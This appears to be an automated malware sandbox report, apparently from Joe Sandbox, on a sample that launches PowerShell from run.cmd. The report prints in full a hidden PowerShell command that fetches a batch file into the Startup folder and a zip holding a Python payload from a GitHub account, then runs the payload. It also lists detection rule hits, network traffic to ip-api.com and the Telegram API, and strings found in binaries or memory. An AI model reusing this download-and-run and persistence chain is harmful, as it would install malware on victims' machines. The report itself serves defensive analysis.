Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\run.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ProcessId: 1028, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1028, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T17:05:23.793239+0100	2803305	3	Unknown Traffic	192.168.2.10	49704	20.233.83.145	443	TCP

ETPRO MALWARE Terse Request for .bat - Likely Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T17:05:21.014814+0100	2841189	1	A Network Trojan was detected	192.168.2.10	49703	20.233.83.145	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.1% probability

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.10:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.10:49705 version: TLS 1.2

Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32transaction.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7982000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32inet.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D77AA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb!! source: powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32print.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D787E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32cred.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7692000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32job.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D77CF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32clipboard.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ras.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D78E7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32help.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7724000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pdh.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7815000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32gui.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7724000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7815000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000003.00000002.2091506404.00000245D4721000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pipe.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D785D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7815000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32lz.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D77F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D77FF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32wnet.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D79B9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32profile.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D78D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D78C4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.2091506404.00000245D4721000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32evtlog.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D76FF000.00000004.00000800.00020000.00000000.sdmp, win32evtlog.pyd.3.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1t 7 Feb 2023built on: Thu Feb 9 15:27:40 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.3.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 00000006.00000000.1834520992.00007FF6106D2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32security.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D790A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32process.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D789F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\timer.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7610000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7606000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: _asyncio.pyd.3.dr
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32file.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7724000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7627000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ts.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7998000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdbpdb source: powershell.exe, 00000003.00000002.2123608829.00000245EE697000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32console.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D766F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D79DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A2F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7952000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32service.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D790A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_winxptheme.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D7A50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7A46000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ion.pdbf source: powershell.exe, 00000003.00000002.2124852303.00000245EE971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: powershell.exe, 00000003.00000002.2092598910.00000245D76B7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.Core.pdbk source: powershell.exe, 00000003.00000002.2123608829.00000245EE697000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2841189 - Severity 1 - ETPRO MALWARE Terse Request for .bat - Likely Hostile : 192.168.2.10:49703 -> 20.233.83.145:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /ty9989/u/raw/main/ud.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ty9989/z/raw/main/T3.zip HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /ty9989/z/main/T3.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49704 -> 20.233.83.145:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ty9989/u/raw/main/ud.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ty9989/z/raw/main/T3.zip HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /ty9989/z/main/T3.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=8195 HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.30.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: powershell.exe, 00000003.00000002.2092598910.00000245D83E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D83EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artax.karlin.mff.cuni.cz/~mikulas/links/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7CC4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue10811
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7EF2000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1898234585.000001F83F1B1000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1899846809.000001F83F1AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14396.
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7CC4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7CCF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14720
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7EF2000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1898234585.000001F83F1B1000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1899846809.000001F83F1AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue15756
Source: python.exe, 00000006.00000003.1835733060.000001F83E445000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1835425494.000001F83E440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19619
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue24068.
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7B16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7B0D000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836684925.000001F83E466000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1836537700.000001F83EC22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5845#msg198636
Source: powershell.exe, 00000003.00000002.2092598910.00000245D8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue6857.
Source: powershell.exe, 00000003.00000002.2092598910.00000245D804C000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1900652955.000001F83F964000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1900303674.000001F83ED10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue874900
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: python.exe, 00000006.00000003.1867754936.000001F83EEE9000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1864211237.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1865727889.000001F83F2B6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1866104847.000001F83F2B6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1866315353.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1867554425.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, __init__.py25.3.dr	String found in binary or memory: http://code.activestate.com/recipes/259174/
Source: functools.cpython-310.pyc.3.dr, _functools.cpython-310.pyc.3.dr	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: test_GCM.cpython-310.pyc.3.dr	String found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf)
Source: test_DES.py.3.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-17/800-17.pdf
Source: python.exe, 00000006.00000003.1902245184.000001F840FEF000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1901696581.000001F84128F000.00000004.00000020.00020000.00000000.sdmp, _mode_ctr.cpython-310.pyc.2165727059744.6.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: cookiejar.py.3.dr	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: recipes.cpython-310.pyc.3.dr	String found in binary or memory: http://docs.python.org/library/itertools.html#recipes
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dx.doi.org/10.1080/03610928908830127
Source: context.cpython-310.pyc.3.dr	String found in binary or memory: http://foo/bar.tar.gz
Source: context.cpython-310.pyc.3.dr	String found in binary or memory: http://foo/bar.tgz
Source: connectionpool.cpython-310.pyc.2165736480976.6.dr	String found in binary or memory: http://google.com/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D804C000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1900652955.000001F83F964000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1900303674.000001F83ED10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D83E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D83EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.browser.org/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D83E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D83EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.isc.org/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mathworld.wolfram.com/SampleVariance.html
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mathworld.wolfram.com/Variance.html
Source: powershell.exe, 00000003.00000002.2120864071.00000245E66DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2120864071.00000245E6598000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Primality.cpython-310.pyc.3.dr	String found in binary or memory: http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-4.pdf
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: test_DES.py.3.dr	String found in binary or memory: http://people.csail.mit.edu/rivest/Destest.txt
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6747000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2124852303.00000245EE952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2092598910.00000245D804C000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000006.00000003.1900652955.000001F83F964000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1900303674.000001F83ED10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html
Source: _IntegerNative.py.3.dr	String found in binary or memory: http://stackoverflow.com/questions/15390807/integer-square-root-in-python
Source: test_ChaCha20.py.3.dr	String found in binary or memory: http://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-04
Source: test_ChaCha20.py.3.dr	String found in binary or memory: http://tools.ietf.org/html/draft-nir-cfrg-chacha20-poly1305-04
Source: powershell.exe, 00000003.00000002.2092598910.00000245D83E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D83EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://w3m.sourceforge.net/
Source: powershell.exe, 00000003.00000002.2092598910.00000245D6747000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2124852303.00000245EE952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2092598910.00000245D8809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: python.exe, 00000006.00000003.1867754936.000001F83EEE9000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1864211237.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1865727889.000001F83F2B6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1866104847.000001F83F2B6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1866315353.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1867554425.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, __init__.py25.3.dr	String found in binary or memory: http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm
Source: _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: python.exe, 00000006.00000003.1867754936.000001F83EEE9000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1864211237.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1865727889.000001F83F2B6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1866104847.000001F83F2B6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1866315353.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000006.00000003.1867554425.000001F83EEE8000.00000004.00000020.00020000.00000000.sdmp, __init__.py25.3.dr	String found in binary or memory: http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html
Source: powershell.exe, 00000003.00000002.2092598910.00000245D7FD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2092598910.00000245D7F9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/telnet-options
